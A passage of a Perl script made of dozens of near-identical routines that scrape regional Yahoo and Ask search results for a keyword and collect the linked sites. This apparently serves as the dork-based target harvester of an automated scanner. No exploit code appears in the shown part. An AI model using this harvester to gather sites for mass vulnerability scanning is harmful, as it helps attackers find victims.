  2167. my @grep = links($link);
  2168. push(@list,@grep);
  2169. }
  2170. }
  2171. }
  2172. return @list;
  2173. }
  2174.  
  2175. sub yahooFR() {
  2176. my @list;
  2177. my $key = $_[0];
  2178. for (my $i=1; $i<=1000; $i+=100) {
  2179. my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2180. my $res = &search_engine_query($search);
  2181. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2182. my $link = $1;
  2183. if ($link!~ /yahooFR/){
  2184. my @grep = links($link);
  2185. push(@list,@grep);
  2186. }
  2187. }
  2188. }
  2189. return @list;
  2190. }
  2191.  
  2192. sub yahooES() {
  2193. my @list;
  2194. my $key = $_[0];
  2195. for (my $i=1; $i<=1000; $i+=100) {
  2196. my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=es&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2197. my $res = &search_engine_query($search);
  2198. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2199. my $link = $1;
  2200. if ($link!~ /yahooES/){
  2201. my @grep = links($link);
  2202. push(@list,@grep);
  2203. }
  2204. }
  2205. }
  2206. return @list;
  2207. }
  2208. sleep(4);
  2209. sub yahooIT() {
  2210. my @list;
  2211. my $key = $_[0];
  2212. for (my $i=1; $i<=1000; $i+=100) {
  2213. my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=it&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2214. my $res = &search_engine_query($search);
  2215. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2216. my $link = $1;
  2217. if ($link!~ /yahooIT/){
  2218. my @grep = links($link);
  2219. push(@list,@grep);
  2220. }
  2221. }
  2222. }
  2223. return @list;
  2224. }
  2225.  
  2226. sub yahooHK() {
  2227. my @list;
  2228. my $key = $_[0];
  2229. for (my $i=1; $i<=1000; $i+=100) {
  2230. my $search = ("http://HK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2231. my $res = &search_engine_query($search);
  2232. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2233. my $link = $1;
  2234. if ($link!~ /yahooHK/){
  2235. my @grep = links($link);
  2236. push(@list,@grep);
  2237. }
  2238. }
  2239. }
  2240. return @list;
  2241. }
  2242.  
  2243. sub yahooID() {
  2244. my @list;
  2245. my $key = $_[0];
  2246. for (my $i=1; $i<=1000; $i+=100) {
  2247. my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=id&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2248. my $res = &search_engine_query($search);
  2249. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2250. my $link = $1;
  2251. if ($link!~ /yahooID/){
  2252. my @grep = links($link);
  2253. push(@list,@grep);
  2254. }
  2255. }
  2256. }
  2257. return @list;
  2258. }
  2259. sleep(4);
  2260. sub yahooIN() {
  2261. my @list;
  2262. my $key = $_[0];
  2263. for (my $i=1; $i<=1000; $i+=100) {
  2264. my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=in&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2265. my $res = &search_engine_query($search);
  2266. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2267. my $link = $1;
  2268. if ($link!~ /yahooIN/){
  2269. my @grep = links($link);
  2270. push(@list,@grep);
  2271. }
  2272. }
  2273. }
  2274. return @list;
  2275. }
  2276.  
  2277. sub yahooAU() {
  2278. my @list;
  2279. my $key = $_[0];
  2280. for (my $i=1; $i<=1000; $i+=100) {
  2281. my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=au&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2282. my $res = &search_engine_query($search);
  2283. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2284. my $link = $1;
  2285. if ($link!~ /yahooAU/){
  2286. my @grep = links($link);
  2287. push(@list,@grep);
  2288. }
  2289. }
  2290. }
  2291. return @list;
  2292. }
  2293.  
  2294. sub yahooMX() {
  2295. my @list;
  2296. my $key = $_[0];
  2297. for (my $i=1; $i<=1000; $i+=100) {
  2298. my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=mx&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2299. my $res = &search_engine_query($search);
  2300. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2301. my $link = $1;
  2302. if ($link!~ /yahooMX/){
  2303. my @grep = links($link);
  2304. push(@list,@grep);
  2305. }
  2306. }
  2307. }
  2308. return @list;
  2309. }
  2310. sleep(4);
  2311. sub yahooTW() {
  2312. my @list;
  2313. my $key = $_[0];
  2314. for (my $i=1; $i<=1000; $i+=100) {
  2315. my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=tw&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2316. my $res = &search_engine_query($search);
  2317. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2318. my $link = $1;
  2319. if ($link!~ /yahooTW/){
  2320. my @grep = links($link);
  2321. push(@list,@grep);
  2322. }
  2323. }
  2324. }
  2325. return @list;
  2326. }
  2327.  
  2328. sub yahooBR() {
  2329. my @list;
  2330. my $key = $_[0];
  2331. for (my $i=1; $i<=1000; $i+=100) {
  2332. my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=br&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2333. my $res = &search_engine_query($search);
  2334. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2335. my $link = $1;
  2336. if ($link!~ /yahooBR/){
  2337. my @grep = links($link);
  2338. push(@list,@grep);
  2339. }
  2340. }
  2341. }
  2342. return @list;
  2343. }
  2344.  
  2345. sub yahooAR() {
  2346. my @list;
  2347. my $key = $_[0];
  2348. for (my $i=1; $i<=1000; $i+=100) {
  2349. my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ar&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2350. my $res = &search_engine_query($search);
  2351. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2352. my $link = $1;
  2353. if ($link!~ /yahooAR/){
  2354. my @grep = links($link);
  2355. push(@list,@grep);
  2356. }
  2357. }
  2358. }
  2359. return @list;
  2360. }
  2361. sleep(4);
  2362. sub yahooNL() {
  2363. my @list;
  2364. my $key = $_[0];
  2365. for (my $i=1; $i<=1000; $i+=100) {
  2366. my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2367. my $res = &search_engine_query($search);
  2368. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2369. my $link = $1;
  2370. if ($link!~ /yahooNL/){
  2371. my @grep = links($link);
  2372. push(@list,@grep);
  2373. }
  2374. }
  2375. }
  2376. return @list;
  2377. }
  2378.  
  2379. sub yahooDK() {
  2380. my @list;
  2381. my $key = $_[0];
  2382. for (my $i=1; $i<=1000; $i+=100) {
  2383. my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=dk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2384. my $res = &search_engine_query($search);
  2385. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2386. my $link = $1;
  2387. if ($link!~ /yahooDK/){
  2388. my @grep = links($link);
  2389. push(@list,@grep);
  2390. }
  2391. }
  2392. }
  2393. return @list;
  2394. }
  2395.  
  2396. sub yahooPH() {
  2397. my @list;
  2398. my $key = $_[0];
  2399. for (my $i=1; $i<=1000; $i+=100) {
  2400. my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ph&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2401. my $res = &search_engine_query($search);
  2402. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2403. my $link = $1;
  2404. if ($link!~ /yahooPH/){
  2405. my @grep = links($link);
  2406. push(@list,@grep);
  2407. }
  2408. }
  2409. }
  2410. return @list;
  2411. }
  2412. sleep(4);
  2413. sub yahooCL() {
  2414. my @list;
  2415. my $key = $_[0];
  2416. for (my $i=1; $i<=1000; $i+=100) {
  2417. my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=cl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2418. my $res = &search_engine_query($search);
  2419. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2420. my $link = $1;
  2421. if ($link!~ /yahooCL/){
  2422. my @grep = links($link);
  2423. push(@list,@grep);
  2424. }
  2425. }
  2426. }
  2427. return @list;
  2428. }
  2429.  
  2430. sub yahooRU() {
  2431. my @list;
  2432. my $key = $_[0];
  2433. for (my $i=1; $i<=1000; $i+=100) {
  2434. my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ru&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2435. my $res = &search_engine_query($search);
  2436. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2437. my $link = $1;
  2438. if ($link!~ /yahooRU/){
  2439. my @grep = links($link);
  2440. push(@list,@grep);
  2441. }
  2442. }
  2443. }
  2444. return @list;
  2445. }
  2446.  
  2447. sub yahooCH() {
  2448. my @list;
  2449. my $key = $_[0];
  2450. for (my $i=1; $i<=1000; $i+=100) {
  2451. my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ch&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2452. my $res = &search_engine_query($search);
  2453. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2454. my $link = $1;
  2455. if ($link!~ /yahooCH/){
  2456. my @grep = links($link);
  2457. push(@list,@grep);
  2458. }
  2459. }
  2460. }
  2461. return @list;
  2462. }
  2463. sleep(4);
  2464. sub yahooCO() {
  2465. my @list;
  2466. my $key = $_[0];
  2467. for (my $i=1; $i<=1000; $i+=100) {
  2468. my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=co&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2469. my $res = &search_engine_query($search);
  2470. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2471. my $link = $1;
  2472. if ($link!~ /yahooCO/){
  2473. my @grep = links($link);
  2474. push(@list,@grep);
  2475. }
  2476. }
  2477. }
  2478. return @list;
  2479. }
  2480.  
  2481. sub yahooFI() {
  2482. my @list;
  2483. my $key = $_[0];
  2484. for (my $i=1; $i<=1000; $i+=100) {
  2485. my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fi&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2486. my $res = &search_engine_query($search);
  2487. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2488. my $link = $1;
  2489. if ($link!~ /yahooFI/){
  2490. my @grep = links($link);
  2491. push(@list,@grep);
  2492. }
  2493. }
  2494. }
  2495. return @list;
  2496. }
  2497.  
  2498. sub yahooRO() {
  2499. my @list;
  2500. my $key = $_[0];
  2501. for (my $i=1; $i<=1000; $i+=100) {
  2502. my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ro&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2503. my $res = &search_engine_query($search);
  2504. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2505. my $link = $1;
  2506. if ($link!~ /yahooRO/){
  2507. my @grep = links($link);
  2508. push(@list,@grep);
  2509. }
  2510. }
  2511. }
  2512. return @list;
  2513. }
  2514. sleep(4);
  2515. sub yahooVE() {
  2516. my @list;
  2517. my $key = $_[0];
  2518. for (my $i=1; $i<=1000; $i+=100) {
  2519. my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ve&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2520. my $res = &search_engine_query($search);
  2521. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2522. my $link = $1;
  2523. if ($link!~ /yahooVE/){
  2524. my @grep = links($link);
  2525. push(@list,@grep);
  2526. }
  2527. }
  2528. }
  2529. return @list;
  2530. }
  2531.  
  2532. sub yahooAT() {
  2533. my @list;
  2534. my $key = $_[0];
  2535. for (my $i=1; $i<=1000; $i+=100) {
  2536. my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=at&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2537. my $res = &search_engine_query($search);
  2538. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2539. my $link = $1;
  2540. if ($link!~ /yahooAT/){
  2541. my @grep = links($link);
  2542. push(@list,@grep);
  2543. }
  2544. }
  2545. }
  2546. return @list;
  2547. }
  2548.  
  2549. sub yahooPL() {
  2550. my @list;
  2551. my $key = $_[0];
  2552. for (my $i=1; $i<=1000; $i+=100) {
  2553. my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2554. my $res = &search_engine_query($search);
  2555. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2556. my $link = $1;
  2557. if ($link!~ /yahooPL/){
  2558. my @grep = links($link);
  2559. push(@list,@grep);
  2560. }
  2561. }
  2562. }
  2563. return @list;
  2564. }
  2565. sleep(4);
  2566. sub yahooKR() {
  2567. my @list;
  2568. my $key = $_[0];
  2569. for (my $i=1; $i<=1000; $i+=100) {
  2570. my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=kr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2571. my $res = &search_engine_query($search);
  2572. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2573. my $link = $1;
  2574. if ($link!~ /yahooKR/){
  2575. my @grep = links($link);
  2576. push(@list,@grep);
  2577. }
  2578. }
  2579. }
  2580. return @list;
  2581. }
  2582.  
  2583. sub yahooNZ() {
  2584. my @list;
  2585. my $key = $_[0];
  2586. for (my $i=1; $i<=1000; $i+=100) {
  2587. my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nz&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2588. my $res = &search_engine_query($search);
  2589. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2590. my $link = $1;
  2591. if ($link!~ /yahooNZ/){
  2592. my @grep = links($link);
  2593. push(@list,@grep);
  2594. }
  2595. }
  2596. }
  2597. return @list;
  2598. }
  2599.  
  2600. sub yahooGR() {
  2601. my @list;
  2602. my $key = $_[0];
  2603. for (my $i=1; $i<=1000; $i+=100) {
  2604. my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2605. my $res = &search_engine_query($search);
  2606. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2607. my $link = $1;
  2608. if ($link!~ /yahooGR/){
  2609. my @grep = links($link);
  2610. push(@list,@grep);
  2611. }
  2612. }
  2613. }
  2614. return @list;
  2615. }
  2616. sleep(4);
  2617. sub yahooPE() {
  2618. my @list;
  2619. my $key = $_[0];
  2620. for (my $i=1; $i<=1000; $i+=100) {
  2621. my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pe&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  2622. my $res = &search_engine_query($search);
  2623. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  2624. my $link = $1;
  2625. if ($link!~ /yahooPE/){
  2626. my @grep = links($link);
  2627. push(@list,@grep);
  2628. }
  2629. }
  2630. }
  2631. return @list;
  2632. }
  2633.  
  2634. sub ask() {
  2635. my @list;
  2636. my $key = $_[0];
  2637. for (my $i=1; $i<=1000; $i+=100) {
  2638. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  2639. my $res = &search_engine_query($search);
  2640. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2641. my $link = $1;
  2642. if ($link !~ /ask\.com/){
  2643. my @grep = &links($link);
  2644. push(@list,@grep);
  2645. }
  2646. }
  2647. }
  2648. return @list;
  2649. }
  2650.  
  2651. sub askCA() {
  2652. my @list;
  2653. my $key = $_[0];
  2654. for (my $i=1; $i<=100; $i+=1) {
  2655. my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2656. my $res = &search_engine_query($search);
  2657. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2658. my $link = $1;
  2659. if ($link !~ /askCA\.com/){
  2660. my @grep = links($link);
  2661. push(@list,@grep);
  2662. }
  2663. }
  2664. }
  2665. return @list;
  2666. }
  2667. sleep(4);
  2668. sub askDE() {
  2669. my @list;
  2670. my $key = $_[0];
  2671. for (my $i=1; $i<=100; $i+=1) {
  2672. my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2673. my $res = &search_engine_query($search);
  2674. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2675. my $link = $1;
  2676. if ($link !~ /askDE\.com/){
  2677. my @grep = links($link);
  2678. push(@list,@grep);
  2679. }
  2680. }
  2681. }
  2682. return @list;
  2683. }
  2684.  
  2685. sub askIT() {
  2686. my @list;
  2687. my $key = $_[0];
  2688. for (my $i=1; $i<=100; $i+=1) {
  2689. my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2690. my $res = &search_engine_query($search);
  2691. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2692. my $link = $1;
  2693. if ($link !~ /askIT\.com/){
  2694. my @grep = links($link);
  2695. push(@list,@grep);
  2696. }
  2697. }
  2698. }
  2699. return @list;
  2700. }
  2701.  
  2702. sub askUK() {
  2703. my @list;
  2704. my $key = $_[0];
  2705. for (my $i=1; $i<=100; $i+=1) {
  2706. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2707. my $res = &search_engine_query($search);
  2708. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2709. my $link = $1;
  2710. if ($link !~ /askUK\.com/){
  2711. my @grep = links($link);
  2712. push(@list,@grep);
  2713. }
  2714. }
  2715. }
  2716. return @list;
  2717. }
  2718.  
  2719. sub askFR() {
  2720. my @list;
  2721. my $key = $_[0];
  2722. for (my $i=1; $i<=100; $i+=1) {
  2723. my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2724. my $res = &search_engine_query($search);
  2725. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2726. my $link = $1;
  2727. if ($link !~ /askFR\.com/){
  2728. my @grep = links($link);
  2729. push(@list,@grep);
  2730. }
  2731. }
  2732. }
  2733. return @list;
  2734. }
  2735.  
  2736. sub askES() {
  2737. my @list;
  2738. my $key = $_[0];
  2739. for (my $i=1; $i<=100; $i+=1) {
  2740. my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2741. my $res = &search_engine_query($search);
  2742. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2743. my $link = $1;
  2744. if ($link !~ /askES\.com/){
  2745. my @grep = links($link);
  2746. push(@list,@grep);
  2747. }
  2748. }
  2749. }
  2750. return @list;
  2751. }
  2752.  
  2753. sub askRU() {
  2754. my @list;
  2755. my $key = $_[0];
  2756. for (my $i=1; $i<=100; $i+=1) {
  2757. my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2758. my $res = &search_engine_query($search);
  2759. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2760. my $link = $1;
  2761. if ($link !~ /askRU\.com/){
  2762. my @grep = links($link);
  2763. push(@list,@grep);
  2764. }
  2765. }
  2766. }
  2767. return @list;
  2768. }
  2769. sleep(4);
  2770. sub askNL() {
  2771. my @list;
  2772. my $key = $_[0];
  2773. for (my $i=1; $i<=100; $i+=1) {
  2774. my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2775. my $res = &search_engine_query($search);
  2776. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2777. my $link = $1;
  2778. if ($link !~ /askNL\.com/){
  2779. my @grep = links($link);
  2780. push(@list,@grep);
  2781. }
  2782. }
  2783. }
  2784. return @list;
  2785. }
  2786.  
  2787. sub askPL() {
  2788. my @list;
  2789. my $key = $_[0];
  2790. for (my $i=1; $i<=100; $i+=1) {
  2791. my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2792. my $res = &search_engine_query($search);
  2793. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2794. my $link = $1;
  2795. if ($link !~ /askPL\.com/){
  2796. my @grep = links($link);
  2797. push(@list,@grep);
  2798. }
  2799. }
  2800. }
  2801. return @list;
  2802. }
  2803.  
  2804. sub askAT() {
  2805. my @list;
  2806. my $key = $_[0];
  2807. for (my $i=1; $i<=100; $i+=1) {
  2808. my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2809. my $res = &search_engine_query($search);
  2810. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2811. my $link = $1;
  2812. if ($link !~ /askAT\.com/){
  2813. my @grep = links($link);
  2814. push(@list,@grep);
  2815. }
  2816. }
  2817. }
  2818. return @list;
  2819. }
  2820.  
  2821. sub askSE() {
  2822. my @list;
  2823. my $key = $_[0];
  2824. for (my $i=1; $i<=100; $i+=1) {
  2825. my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2826. my $res = &search_engine_query($search);
  2827. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2828. my $link = $1;
  2829. if ($link !~ /askSE\.com/){
  2830. my @grep = links($link);
  2831. push(@list,@grep);
  2832. }
  2833. }
  2834. }
  2835. return @list;
  2836. }
  2837.  
  2838. sub askDK() {
  2839. my @list;
  2840. my $key = $_[0];
  2841. for (my $i=1; $i<=100; $i+=1) {
  2842. my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2843. my $res = &search_engine_query($search);
  2844. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2845. my $link = $1;
  2846. if ($link !~ /askDK\.com/){
  2847. my @grep = links($link);
  2848. push(@list,@grep);
  2849. }
  2850. }
  2851. }
  2852. return @list;
  2853. }
  2854.  
  2855. sub askNO() {
  2856. my @list;
  2857. my $key = $_[0];
  2858. for (my $i=1; $i<=100; $i+=1) {
  2859. my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2860. my $res = &search_engine_query($search);
  2861. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
